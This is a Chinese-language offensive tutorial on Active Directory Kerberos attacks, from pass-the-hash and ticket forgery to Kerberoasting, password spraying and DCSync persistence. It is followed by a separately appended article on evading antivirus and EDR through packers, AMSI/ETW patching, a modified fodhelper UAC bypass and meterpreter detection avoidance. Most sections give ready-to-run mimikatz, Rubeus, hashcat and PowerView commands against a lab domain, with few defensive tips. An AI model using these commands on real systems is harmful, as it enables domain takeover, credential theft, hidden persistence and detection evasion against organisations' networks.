Pass the Hash适用于NTLM认证也适用于Kerberos认证,不仅在域外,域内也可以使用。Kerberos认证中AS-REQ通过Client Hash加密相关信息发送给AS,因此如果我们获取到了Client的NTLM Hash,我们可以通过Pass The Hash横向获取其他主机的权限。

利用

这里我们假设获得了在某台域机器上登录的域管NTLM HASH
1hz3cw1z5cu13816.png
以下适用于PTH的工具

  1. 使用Mimikatz,由于需要注入凭据到lsass中,因此需要本地管理员权限(bypassuac)去开启Sedebug,注入后可以使用该用户凭据访问域内主机
  2. 使用wmicexec(py或者exe都有)去pth,不需要管理员权限,适用于直接远程执行命令
  3. 使用cme去批量验证pth
  4. 等等

这里以Mimikatz举例,hack用户(stu1的本地管理员组内成员,域用户)
vom5uw5kd5z13817.png
没有权限访问域控共享目录
korcc1sljlt13818.png
mimikatz注入凭据后
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:god.org/rc4:b4ab235f987be3621a4ebd862189fd34"
vyfnmalsy3n13819.png

Pass the Key

mimikatz资料提示

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

Pass the Key只能在域中使用,支持Aes加密方式的版本有win8.1/2012r2或者是安装了kb2871997补丁的win7/2008r2/8/2012

利用

获取aes key
i1x1j332ipy13820.png
然后同样使用sekurlsa::pth模块
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /aes256:bf723755bc5f72a377bda41ca58fd925df7ee45df9a026ac5cd320102a3a2e33"
xu5ld0glpuc13821.png
由于Win7主机没有打补丁,自然Pass The Key失败。在实战环境中,当不支持rc4加密方式的PTH的时候,可能是在Protected Users组中,这时可以尝试Aes128,Aes256加密方式来PTK

Pass The Hash With Remote Desktop(Restricted Admin mode)

2014年,Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server 2012也可以更新该补丁后获得上述安全保护机制。
————————————————————————————————————————————————
Restricted Admin RDP模式的远程桌面客户端支持:
在此更新之前,RDP登录是一种交互式登录,只有在用户提供用户名和密码之后才可以访问。以这种方式登录到RDP主机时,会将用户凭据放置在RDP主机的内存中,如果主机受到威胁,它们可能会被窃取。此更新使RDP支持网络登录,其中可以传递用户现有登录令牌以进行RDP访问的身份验证。使用此登录类型可确保RDP服务器上不存储用户的凭据。从而保护凭据

通过上述解释可以理解该模式是为了保护使用RDP登录的用户凭据,通过网络验证的登录方式,RDP服务端不会保存用户的凭据

利用

win8.1以及win2012R2以上支持Restricted Admin mode模式,win8.1以及win2012R2默认开启Restricted Admin mode
条件:Client支持Restricted Admin mode模式,Server启用Restricted Admin mode模式
由于手头缺少win2012R2,因此这里使用两台Windows10来进行Pass The Hash With Remote Desktop
首先获取NTLM HASH
j0d1i44veti13823.png
利用mimikatz注入NTLM HASH(需先privilege::debug开启debug权限,这里截图截少了)
sekurlsa::pth /user:administrator /domain:192.168.226.137 /ntlm:9c3767903480e04c089090d27123eaf9 "/run:mstsc.exe /restrictedadmin"
/domain指定计算机名或者ip
这里不要选择始终要求凭据
4xf2qx0iy2t13825.png
凭据正确但是没有开启Restricted Admin mode
20omrwbdom213826.png
通过注册表开启(0为开启,1为关闭,需要完整管理员权限),然后再次进行RDP连接
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
ixlbkp5gsrs13834.png
远程主机开启Restricted Admin mode后,RDP连接成功
jtayvcyuq3h13835.png
可以看到注入到内存中的Hash
l4ams1svpdq13836.png
然后这里我又使用了管理员账户K0uaz,因此该Pass The Hash With Remote Desktop只需要目标的本地管理员权限即可,不一定是sid为500的本地administrator账户
cn2jrqzoobk13841.png
但是如果只是加入Remote Desktop Users,不在Administratros组内,是无法成功的,因为该机制就是针对受限的管理员的

AS-REP Roasting

原理

在AS_REP中,KDC会返回一个有用户NTLM Hash加密的Session Key(该Sesions Key用于确保客户端和TGS之间的通信安全)
p5fh4jrv3gv13842.png
在RC4_HMAC加密方式下,我们可以通过穷举明文口令,利用相同加密流程加密明文口令,然后将加密结果对比密文是否相同来判断爆破结果
上图中返回的用户NTLM Hash加密的Session Key密文虽然是通过AES256加密的,但是这里我们同样可以使用加密降级方式(下文中Kerberoast突破用户支持AES加密转而返回RC4_HMAC类型的加密数据使用的方法)指定客户端最高支持加密方式仅为RC4_HMAC,使AS_REP中返回的密文的加密方式为RC4_HMAC,这样我们就可以破解该明文口令了
但是这里需要解决一个问题就是预认证的问题,在AS_REQ中会生成一个有Client Hash加密的Timestamp发送到KDC,KDC通过解密该密文获得时间戳,如果解密成功并且时间戳在5分钟之内,则预认证成功,KDC通过该方式来检验客户端身份,以此有效防止暴力破解
x3xaplcvruc13845.png
dpfz1kc0maj13849.png
至于为什么默认情况下会发送两次AS_REQ,从harmj0y的文章中得到的解释是由于客户端提前并不知道支持的加密方式(这里我认为是具体到客户端不知道预认证中Timestamp的加密方式),因此请求获取KDC支持的加密方式
ivaizgnzvcc13855.png
cxq10vfdpyp13859.png
因此关闭预认证,我们就可以进行穷举爆破破解出明文口令
fzcnoh3thtj13862.png
关闭预认证后不再有二次的AS_REQ,唯一一次的AS_REQ也不会带有NTLM Hash加密Timestamp的密文
m5pxa1qwvr513864.png

利用

可以通过LDAP查询具有Do not require Kerberos preauthentication属性的域用户
具体的查询条件为userAccountControl:1.2.840.113556.1.4.803:=4194304
这里以Rubeus举例
Rubeus.exe asreproast /nowrap /format:hashcat
5zlwbwhjhkt13866.png
hashcat解密
hashcat -m 18200 hash.txt passwords.dict --force
gksh4cetjar13869.png

Rubeus asreproast原理分析

通过Wireshark分析流量可以看出该模块原理就是通过LADP查询该属性特征的域用户,然后批量发送AS_REQ请求包,提取返回包中的NTLM Hash加密部分进行格式化输出适合于Hashcat爆破的形式
ldap查询:
crcpm3g0doa13872.png
指定支持加密类型仅为RC4_HMAC
uip4acgxpk113874.png
返回的密文使用RC4_HMAC加密(因此可进行穷举爆破)
ylsjbz0isus13876.png

黄金票据

特点

  1. 需要与DC通信(不需要与AS进行交互,需要与TGS)
  2. 需要krbtgt用户的hash

原理

在 Windows 的kerberos认证过程中,Client将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的TGT了吗。因为Krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

条件

1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的(TGT使用期限20分钟之内,域控制器KDC服务不会验证TGT中的用户账户)

当我们获取到krbtgt的Hash的时候,我们就可以用来制作黄金票据
假设我们已经通过dcsync的攻击手法(下文中有解释和实践)获取到了krbtgt的hash
hfx0hoemioy13877.png
条件1:spn扫描获取域名称god.org
ncdjyffitmx13880.png
条件2:whoami /all获取域用户sid,域的SID去掉最后的一串
zemeunnyyfn13882.png
条件3:krbtgt账户Hash
58e91a5ac358d86513ab224312314061
条件4:伪造用户名
administrator

制作黄金票据

利用mimikatz kerberos::golden伪造tgt

黄金票默认组:
域用户SID:S-1-5-21 <DOMAINID> -513
域管理员SID:S-1-5-21 <DOMAINID> -512
架构管理员SID:S-1-5-21 <DOMAINID> -518
企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/sids参数)
组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520

mimikatz.exe "kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /user:administrator /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:k0u.kiribi" exit
tip:可添加/endin:xx /renewmax:xx修改票据的有效期以及续订票据最长有效期,mimikatz默认都是10年
pyn03keb1n413883.png
生成的票据可以到其他域机器上导入,也可以直接使用/ptt将tgt注入内存
首先先清空票据缓存klist purge
4wmv0mp1cfe13884.png
然后通过mimikatzkerberos::ptt k0u.kiribi注入到缓存票据中
zw0fohj4mhx13885.png
klist查看票据缓存可以看到伪造的tgt了
hg1zzuaeear13889.png
这时就获取到了非常高的权限了
n1001eocbwp13891.png
klist purge清空票据缓存后
pupg3ylbpiv13893.png

Tips:
普通黄金票据存在局限性,适用于单域内,不适于域森林中

Pass The Ticket

Kerberos除了第一步需要Client端的用户NTLM Hash加密验证,后续的操作都是通过票据(Ticket)来验证,因此我们如果拿到了票据或者伪造了票据,我们就可以通过该票据来横向移动,黄金票据和白银票据以及MS14068的利用都可以算做是Pass The Ticket的一种攻击方式

利用

Mimikatz

通过Mimikatz导出内存中的票据
w52tmfhasqz13895.png
(管理员权限开SeDebug)Mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
fi4ajz4nww413898.png
这时,我们抓到了域管的TGT,我们就可以注入域管的TGT到缓存并且使用该TGT来向TGS换取相应的服务凭证ST
(不需要管理员权限)此时以god.org\hack域用户(Stu1本地管理员权限)访问域控的Cifs共享服务是提示没有权限被拒绝的,这里注入域管的TGT到缓存后可成功访问
00nano5hhkm13904.png

Rubeus

Rubeus,利用C#实现Kekeo中的部分函数攻击手法等,该工具主要是针对Kerberos的一些攻击方式集成化的利用工具
导出内存中的票据
(管理员权限)Rubeus.exe dump >test.txt
sir5hwtwlkg13907.png
箭头指向的就是base64编码后的.kirbi
可以直接通过Rubeus导出base64编码形式的凭据或者转化为文件形式,文件形式可以和MimikatzKerberos::ptt xxx.kirbi导入票据互相通用
Rubeus.exe ptt /ticket:base64(需要处理下导出的base64编码格式,删除多个空格,删除换行,可以通过添加/nowrap参数不换行)
yqjdbal51lp13908.png
c2j4rfslbuh13913.png
导入后可以通过Rubeus.exe klist查看缓存的票据
ly5jk4czdic13927.png
以域管的高权限票据可访问域控共享服务
zuvv35bwv1n13932.png
也可以使用/ticket:file.kirbi的形式
可以通过Powershell调用.net类库的system.io命名空间中的file类中WriteAllBytes方法将base64编码解码后写入文件中
[IO.File]::WriteAllBytes("Adcontrol.kirbi", [Convert]::FromBase64String("处理后的凭据Base64编码"))
lylw3zbutaa13940.png
导入Rubeus ptt /ticket:file.kirbi
y2znlvbko5u13946.png

Tips:
票据文件注入内存的默认有效时间为10小时
Klist Purge清除缓存后注入的TGT也随着被清除

Kerberoasting

原理

在kerberos认证流程中的TGS_REP中返回的是Server Hash(Ticket)以及Session Key(Server Session Key),其中最为重要的是通过服务的NTLM Hash为密钥加密生成的ST票据。当认证加密算法为RC4_HMAC(弱加密类型)时,我们可以通过穷举口令,利用相同的加密过程获得密文,将获得的密文与ST票据中的密文比较,若相同,则说明口令正确,成功爆破获得服务凭据的明文
Tip:服务票据会使用服务账户的哈希进行加密,在Windows中使用服务主体名称(SPN)来确定使用哪个服务帐户的哈希来加密服务票证

(服务主体名称)SPN

服务主体名称(SPN:ServicePrincipal Names)是服务实例,Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联
SPN的格式为:serviceclass/host:port/servicename
4n3jsd4b2cn13951.png
SPN是域内一个服务的唯一标示名称,SPN类型分为两种:

  1. 一种注册在AD上机器帐户(Computers)下,当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下,比如SMB或者远程注册表服务
  2. 另一种注册在域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下,此时访问某个服务,返回的ST票据中加密的服务票据就是服务账户的票据即SPN与服务所对应相关联的账户的凭据

    Tips:
    Setspn -Q */*查询所有的SPN
    可以通过LADP将域用户属性servicePrincipalName设置为目标SPN
    可以通过LDAP来快速检索哪些域用户拥有servicePrincipalName属性来找到寻找爆破目标(低权限即可)

    实现要点

    寻找有价值的SPN : 寻找基于域账户的(最好是高权限)SPN,基于主机的SPN密码复杂随机且30天自动更换一次,因此难以破解
    获得RC4_HMAC加密形式的ST票据 : 支持RC4_HMAC或启用AES认证加密但是未禁用RC4_HMAC

    利用

    首先为域用户liukaifeng01关联一个SPN
    2kkqgosz01n13955.png

    老方法

    用到的工具为kerberoast
    首先通过遍历SPN(筛选有价值的SPN),然后对获得的所有SPN发起TGS请求获取ST票据缓存到本地(Mimikatz中的kerberos::ask可实现发起单个TGS请求),再通过Mimikatz等工具导出ST凭据,然后通过爆破脚本tgsrepcrack.py尝试爆破出明文口令

    新方法

    用到的工具为Invoke-kerberoast
    较新的方式是一步到位,(首先通过LDAP查询带有ServicePrincipalName属性的域用户)不需要发送TGS请求后通过Mimikatz导出ST凭据了,通过微软提供的类KerberosRequestorSecurityToken直接发起TGS请求,然后再返回的内容中提取加密的ST票据进行格式化,方便使用John和Hashcat来破解
    这里举例使用的工具是Rubeus,该工具同样实现了Invoke-kerberoast的功能
    Rubeus kerberoast(普通域用户权限即可)
    x12tya5543013960.png
    如果复制粘贴不方便,可以使用/outfile:path指定Hash参数的写入路径
    qkki0d4i1rl13963.png
    Rubeus返回的Hash参数对应的值就是hashcat官方指定的RC4_HMAC加密方式破解的格式
    2whppseax1e13965.png
    kali中使用hashcat爆破
    hashcat -m 13100 hash.txt passwords.dict --force
    xyx4z5g4onl13971.png

    加密降级突破AES加密类型

    首先设置用户启用AES加密,通过AD用户和计算机管理设置liukaifeng01用户启用AES加密e35ptn25mqo13975.png
    LDAP查看msDS-SupportedEncryptionTypes属性
    x5fpjuzi4no13978.png
    这时候再进行Kerberoast时,返回的票据加密类型为AES256
    zc4nmawrcux13981.png
    抓包查看TGS_REQ,可以看到客户端向服务端提供了支持的加密算法,包括RC4AES加密
    5q2qdfwynhz13984.png
    通过查看TGS_REP可以发现返回的ST票据中使用的算法是最高支持的加密类型=>AES256
    2w4dqxw3k1m13986.png
    那这里就可以提出一个猜想,如果我们在TGS_REQ中提供最高的支持的加密算法是RC4,呢么TGS_REP中返回的加密方式是否也会是RC4
    在Rubeus中已经实现了该方法,并且确实有效
    Rubeus kerberoast /tgtdeleg
    dkaj5xejtyo13988.png
    TGS_REQ请求包中支持的加密算法仅为RC4
    xi2rgxseu1y13990.png
    虽然域用户liukaifeng01支持的加密方式是AES,但是得到的是一个RC4加密的票据,这样获得的票据仍然是可以破解的
    解决加密降级的办法只有在组策略中的安全策略Kerberos验证中彻底禁用RC4

    白银票据

    特点
  3. 不需要与域控(KDC)交互
  4. 需要目标服务的NTLM Hash(获取Server Hash伪造TGT)

原理

来自倾旋师傅的图
在第三步认证中的Ticket的组成:
Ticket=Server Hash(Server Session Key+Client info+End Time)
如果我们有了Server Hash的话,我们就可以伪造ST,服务器在没有收到ST之前是不知道Server Sessoin Key的,所以这一切的认证最重要的就是Server Hash,有了Server Hash我们就可以伪造ST来访问指定的服务。这里的Server Hash指的就是机器用户的Hash,机器用户其实就是System用户

条件

1、域名称
2、域的SID值(SID值,注意是去掉最后一个-后面的值)
3、域中的Server服务器账户的NTLM-Hash
4、伪造的用户名,可以是任意用户名.
5、目标服务器上面的kerberos服务

制作白银票据

这里还是以域控owa举例,通过mimikatz获取机器账户的Hash
xlyobby4kgx13995.png
获取hash后,通过mimikatz制作白银票据(部分条件上述黄金票据实践中已经获得),目的服务是cifs
正常情况是普通域用户hack没有权限访问:
i10utzemcku13998.png
通过mimikatz制作白银票据并直接导入
ifmm5mm01fd13999.png
查看当前票据
zetjtqgettc14002.png
成功访问共享目录
n5yh4khpwox14004.png
但是这里与正常的加密类型是不同的,Mimikatz的伪造是RC4的加密类型,而正常的SPN关联在机器账户下的一般都是AES加密,因此对于伪造访问服务CIFS的ST票据而言,白银票据的流量也比较容易识别
nnndq1jsu2f14006.png
常见的伪造服务类型如下
u34hsr4fqr314009.png

Tips:
开启PAC验证可防御白银票据(Server发送PAC的数字签名给KDC校验)

用户名枚举和口令暴力破解

三种情况

存在用户

存在用户描述:error_code:eRR-PREAUTH-REQUIRED
密码错误描述:error_code:eRR-PREAUTH-FAILED
434bkh1wcov14011.png

不存在的用户

描述:error_code:eRR-C-PRINCIPALL-UNKNOWN
oc1z3eqpus514012.png

kerbrute

使用场景

不在域内的情况下且无法通过LDAP或者SAMR协议去获取域内用户(如果掌握域内用户名以及密码,域外也可通过LDAP与域控交互获取信息)
若攻击主机在域外,需要主机能与域控直接交互
不会有像LDAP暴力破解产生的日志(4625 - An account failed to log on)

主要原理

发送构造的AE-REQ请求包后,通过返回的包的区别来判断用户是否存在以及密码是否正确

用户名枚举

域内
kerbrute_windows_amd64.exe userenum -d god.org username.txt
53du0ydl5bv14014.png
域外
kerbrute_windows_amd64.exe userenum --dc 192.168.52.138 -d god.org username.txt
需指定Dc的ip地址
luvp5kzidcn14016.png

密码喷洒

指定密码,遍历用户名
kerbrute_windows_amd64.exe passwordspray -d god.org username.txt Abc123!
第一个包发送用户名0hjadwhl22l14018.png
DC返回用户名正确后发送第二个AS-REQ,其中包含了密码的NTLM HASH
5dkkzaedk3g14020.png

pyKerbrute

3gstudent师傅实现的Python版本的kerbrute,添加了两个功能
增加对TCP协议的支持
增加对NTLM hash的验证

用户名枚举

EnumADUser.py主要实现的就是发一个As-REQ结构的包修改CnameString即可(固定sname指向krbtgt)
4uyypvrk5hx14022.png
EnumADUser.py : EnumADUser.py 192.168.52.138 god.org user.txt tcp
1s0fmywflh214024.png
与kerbrute发送的数据包稍有区别ino1evl0k5u14027.png

密码喷洒

首先pyKerbrute分成了两种模式,clearpassword和ntlmhash
classpassword:实现了将明文加密成NTLM Hash然后通过RC4-HMAC加密算法加密时间戳,然后也可以通过ntlmhash模块来密码喷洒
ntlmhash:直接通过RC4-HMAC-MD5加密算法加密时间戳
m544v1hvarw14030.png
ADPwdSpray.py : ADPwdSpray.py 192.168.52.138 god.org username.txt clearpassword Abc123! udp
mrnqrct0akb14032.png
与kerbrute发送的数据包在支持的加密算法上有较大区别,不如kerbrute隐秘
shtla0zi3ry14036.png
pyKerbrute这里就发送了一个包,没有发送判断用户名是否存在,直接请求认证,且加密算法指定了RC4-HMAC-MD5,kerbrute支持多种加密方法
稍微看了下Kerbrute的代码,发现实现的方法NewWithPassword来自gokrb5这个库,该库便利了用于客户端与服务端的Kerberos相关认证,而且库中实现了众多的加密算法
njcgv5h1i4k14040.png

Kerberos pre-auth bruteforcing的检测

Kerbrute使用Kerberos pre-auth协议,不会产生日志(4625 - An account failed to log on)
但是会产生以下日志:
口令验证成功时产生日志(4768 - A Kerberos authentication ticket (TGT) was requested)
口令验证失败时产生日志(4771 - Kerberos pre-authentication failed)

我自己本地域控查看日志发现,存在4768,但是用户正确,密码错误并不会爆出4771,没有任何提示

成功

kfikwfdth0214045.png

失败

解决

通过查阅资料,找到了修改登录策略的地方,具体可查看Audit Kerberos Authentication Service
p0rwcx45kqi14047.png
修改审核策略后可捕获到4771类型:
1l4oamxw5ry14049.png
cmpjlbwpmic14052.png
aedemhk5je314053.png

Dcsync攻击

DCSync攻击原理

利用目录复制服务远程协议(DRSR)协议从域控制器获取敏感信息
将当前主机伪装成域控制器(DC),并通过发出请求说服真实的DC将其数据库与该主机伪装的恶意DC同步

利用条件

需要具备如下扩展权限对应的DACL
jxhrpj0djr214056.png
根据3gstudent师傅的文章总结如下的组内用户具有上述权限
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户

实践

这里指的Administrator组内的用户不是指域机器上的本地Administrators,而是域控制器上的本地Administrators组。这里以红日靶场一举Administrators组内用户的例子
比如likaifeng01这个用户,通过域控查看工具,或者终端DOS命令查看liukaifeng01所在的组
1gso3yw0ok114059.png
该用户是域控本地管理员组成员,但不是域管成员
通过Powerview的Get-DomainObjectAcl来获取该成员的ACL控制列表查看上述三项权限
ynrlnftceao14061.png

  1. DS-Replication-Get-Changes-In-Filtered-Set
    vyyomt4uk4b14063.png
  2. DS-Replication-Get-Changes
    3qqfw1z43ur14066.png
  3. DS-Replication-Get-Changes-All
    04dqhf1xgyq14069.png

满足上述三项权限,通过mimikatz的dcsync功能来导出Hash
nnaphgfhdj114071.png
也可以通过PowerView来直接为普通域用户一次性加上上述的三条特权,就可以具有执行Dcsync攻击的权限了,可以作为一种权限维持的方法
首先添加一个普通域用户hack,利用hack直接Dcsync会失败
qfoh0ddvdy314073.png
以管理员权限通过PowerView给域用户hack加上三个扩展特权
Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose
然后通过ADfind.exe或者Get-DomainObjectAcl查看用户拥有的特权
AdFind.exe -sc getacls -sddlfilter ;;;;;god\hack -recmute
oumklmeab2p14074.png
Get-ObjectAcl -Identity "dc=god,dc=org" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2952760202-1353902439-2381784089-1111"}
xwpq0ebgu5t14076.png
图截不全,上面已经证明hack用户有这三个权限后,再次通过mimikatz来调用dcsync模块,可获取全部的Hash
gev5ajgbm1s14077.png
然后删除该用户的三个扩展特权可以用如下命令
Remove-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose
删除后再次使用Dcsync模块,已不能获取
pcpl1fg2r1z14078.png

Tips
Dcsync攻击可以作为权限维持的方式=>拿到高权限后可以通过Powerview中的Add-DomainObjectAcl给普通用户添加上述三个特权,使普通用户仍然可以通过Dcsync获取所有Hash

工具地址

kerbrute
pyKerbrute
Rubeus
kerberoast
Invoke-Kerberoast

学习参考链接

上文学习总结自3gstudent文章,倾旋博客,unknowsec博客,car7n博客,Muxueo博客,harmj0y博客,安全客等等
当时看的有点太杂了,整理完笔记后发现很多粗看的文章都没记下来文章链接
渗透技巧——通过Kerberos pre-auth进行用户枚举和口令爆破
Kerberos的黄金票据详解
Kerberos的白银票据详解
彻底理解Windows认证 – 议题解读
手把手教你入门内网渗透之二
Kerberos
Pass the Hash with Remote Desktop(Restricted Admin mode)
【技术分享】Kerberoasting:一种Kerberos活动目录攻击方法
域渗透——Kerberoasting
高级域渗透技术之再谈Kerberoast攻击
Roasting AS-REPs

关于PAC

对于PAC有疑惑的可以看下面的下四篇文章
Windows内网协议学习Kerberos篇之PAC
了解 Microsoft Kerberos PAC 验证
PAC在Kerberos认证协议中的作用
什么是 Kerberos PAC

来源: https://forum.butian.net/share/614

我們會在本文中介紹基於簽名的檢測和基於行為的檢測之間的主要區別。此外,還會舉例說明了繞過各個檢測的示例。

經常會有人有疑問,為什麼在有關Packer(封隔器)被發布後,MSF- 或CobaltStrike- (CS)有效負載仍然會被檢測到。答案無非有兩種:

1.基於簽名的檢測被繞過了;2.基於行為的檢測被觸發並終止進程。

使用我們的自定義封隔器將導致反掃描。被封隔的MSF有效負載如下:

1.JPG

但這並不意味著,在運行時執行時,這些殺毒程序不會檢測到有效負載。為什麼會出現這種情況?

基於簽名的檢測基於簽名的檢測非常簡單。最早的殺毒程序有一個帶有File-Hashes的簽名數據庫,他們只是將磁盤上任何可執行文件的哈希與已知的惡意可執行程序哈希進行比較。例如,該數據庫包含Mimikatz發布二進製文件的SHA1/MD5哈希。改變一個可執行文件的哈希值就像操縱其中的一個字節一樣簡單,所以這種檢測並不可靠。

基於這一事實,安全供應商轉而檢測特定的字節模式(BytePattern)簽名。因此,為了繼續使用Mimikatz的示例,具體的字節模式/十六進制值被標記如下:

2.png

可以看到,不僅要為每個已知的惡意二進製文件/有效負載標記一個模式,而且要使用多個常見模式。 Mimikatz始終是基於簽名的檢測的一個很好的示例,因為通常供應商有幾十種Mimikatz二進制檢測的模式。通過這種方式,稍微修改過的版本也能被檢測到。

甚至可以使用yara規則構建更高級的檢測。這些規則可以掃描文件或內存內容,並允許更複雜的條件和不同模式的組合。 Mimikatz yara規則的一個示例如下:

3.png

在本示例中,如果在文件或內存中找到上述三個字符串,則會觸發此規則,AV/EDR程序可以執行警報或終止進程等操作。例如,我們在構建自定義Mimikatz二進制代碼的文章中描述的技術就可以繞過這樣的檢測。

封隔器的內部工作原理首先要了解封隔器的基本工作原理,了解它能做什麼,不可能做什麼。最後利用一個程序將一個有效負載封裝到另一個程序中,以避免對其進行基於簽名的檢測。因此,如果像Mimikatz這樣的負載包含特定的字符串,那麼這些字符串將在生成的二進製文件中不再可見。包裝過程可以通過某種編碼/混淆或加密來完成。我個人更喜歡加密有效負載,因為這將產生最好的隨機性,因此基於簽名的檢測最少。

4.png

這種經過編碼或加密的負載必須在生成的加載器程序中解碼/解密,以便可以從內存中執行明文負載。

根據有效負載的不同,封隔器也可以在當前進程或遠程進程中刪除更多檢測:

如果你的封隔器正在打補丁/繞過AMSI,你可以安全地從內存執行不同的已知惡意腳本(PS1,VBA,JS等)或c#程序集。

為了繞過基於ETW的檢測,封隔器還可以通過不同的發布技術修補/繞過ETW。

基於掛鉤的Win32 API檢測可以通過取消掛鉤或直接/間接使用Syscall來繞過。

基於熵的檢測將檢測到許多封隔器,因為有效負載的加密將由於隨機性而導致非常高的熵。這可以通過在生成的二進制中添加數千個單詞來繞過,因為這再次降低了熵。

但是,即使所有這些技術都得到了應用,仍然存在更多潛在的“問題”:

1.內存掃描;

2.行為檢測;

3.攻擊者。

一般來說,使用封隔器也可以繞過內存掃描,但這非常有限。

內存掃描和常用的繞過技術由於基於簽名的檢測很容易被封隔器技術繞過,越來越多的AV/EDR供應商傾向於使用掃描進行內存分析。這些掃描通常不會在所有進程中一直進行,因為這會消耗太多資源,但可能會由特定條件觸發。

例如,內存掃描通常在以下情況下出現:

生成一個新進程,例如運行一個可執行文件;

進程的行為觸發內存掃描;

第一個很容易繞過。例如,即使是封隔器也可以在解碼/解密真正的有效負載之前休眠一段時間。在這種情況下,將進行內存掃描,但不會發現任何東西,因為負載仍然是加密的。仍然有方法檢測Win32基於睡眠的內存掃描繞過,例如這裡演示的。作為使用Sleep的替代方案,你也可以在特定的時間內執行偽代碼或進行計算。除了使用Sleep,還有許多其他替代方法。

但一般來說,繞過內存掃描有以下三種方法:

更改/修改有效負載的源代碼,以避免基於簽名的檢測;

更改有效負載的行為,以便永遠不會觸發內存掃描;

內存加密。

我個人更喜歡第一種選擇,它在每個程序中都是一次性的,只要新的代碼庫不公開,它也不應該在未來被檢測到。

繞過基於行為的內存掃描是比較困難的,這取決於你的有效負載的行為。試想一下Mimikatz的行為(例如,用OpenProcess打開LSASS的句柄)會觸發一次掃描,此時,無法從內存中隱藏Mimikat,因為它需要進行加密才能工作。因此,Mimikatz不會選擇內存加密。

對於像Cobalt Strike這樣著名的C2框架,最常見的選擇是內存加密。但是如果你沒有訪問源代碼的權限,就不可能修改它以避免內存檢測。一般來說,C2框架是這項技術的優先選擇,因為它們大部分時間都處於休眠狀態。如果一個程序什麼也不做,它的內存內容可以在這個時間段內被加密,而不會出現任何問題。

基於行為檢測的一些示例和繞過但是,哪些行為會在運行時觸發AV/EDR操作或內存掃描呢?基本上全都可以。將內容寫入內存,以特定的順序或時間框架加載特定的庫,創建註冊表項,執行初始HTTP請求或任何其他操作。

我將在這裡舉幾個例子,介紹相應繞過技術。

根據我的個人經驗,AV/EDR在檢測到特定行為後極少立即終止進程。這是因為AV/EDR供應商不希望有太多的誤報結果。由於誤報結果與終止進程的行為會導致生產環境的中斷,這是非常糟糕的。所以他們需要幾乎100%的確定,一個行為肯定是惡意程序終止相應的進程。這也是為什麼許多供應商將行為檢測與內存掃描結合起來,以驗證他們發現了惡意內容。

Fodhelper UAC繞過示例基於行為的檢測的一個很好的示例是帶有Windows Defender的Fodhelper UAC繞過。這個方法非常流行,但也很容易被利用,因為它只需要創建一個註冊表項,然後調用fodhelper.exe:

5.png

在啟用殺毒軟件的情況下執行此操作將導致以下檢測:

6.JPG

此警報既不會終止正在執行的進程,也不會終止新生成的進程,但仍會導致任何攻擊中的檢測。檢測本身不能繞過AMSI,修補ETW也無濟於事。因為這是觸發此警報的特定行為。

我對此處標記的內容進行了一些簡單的試錯分析,發現殺毒軟件不喜歡HKCU:\Software\Classes\ms-settings\Shell\Open\command(Default)條目以及目錄*C:\windows\system32*和*C:\windows \syswow64*中的任何.exe。

因此,觸發警報的行為是使用其中一個字符串在上述目錄中創建註冊表項。

幸運的是,我們不需要指定.exe來執行二進製文件,也不需要兩個目錄來進行攻擊。因此,作為一種替代方案,我們可以直接將e.G. a C2-Stager複製到任何可寫目錄中,並使用UAC-Bypass執行它,而無需調用擴展名。

7.png

但到2022年,許多OffSec用戶將意識到,在安裝了AV/EDR的系統上運行任何未簽名的可執行文件可能不是一個好主意。因此,作為一種替代方案,我們還可以執行任何經過簽名的可信可執行文件,並將相應的Sideloading-DLL放到相同的目錄中。還有第三種選擇,就是我們可以將rundll32.exe複製到我們的可寫目錄中並在那裡執行它。

8.png

基於Meterpreter行為的檢測切記,不要使用分段有效負載,它們會被殺毒軟件捕獲。因此,在我們的示例中,我們將生成用於執行的不分段的反向HTTPS Shellcode。這可以通過以下命令來實現:

9.png

我不會在本文介紹執行Shellcode的方式,因為我只想展示行為檢測,但通常您需要以下內容:

對Shellcode進行加密並在運行時解密,以避免在磁盤上簽名,或者在運行時從遠程Web服務器加載它;

使用直接或間接的系統調用執行,否則Shellcode將在執行前被標記;

在這種情況下,無需修補AMSI/ETW即可使Meterpreter運行。

但是,即使你使用系統調用繞過了基於簽名的磁盤檢測和Shellcode檢測,你也應該能夠看到一個新的Meterpreter Session傳入:

10.JPG

但這只是意味著,我們的初始有效負載成功地執行了。一秒鐘後,進程被終止並出現以下檢測:

11.JPG

同樣,這是一個基於行為的檢測,由附加的DLL文件觸發,通過普通Win32 API和反射DLL注入技術加載。在本例中,stdapi-DLL的注入觸發了一個警報。

在msfconsole提示符中,你可以通過以下命令禁用stdapi DLL的加載:

12.png

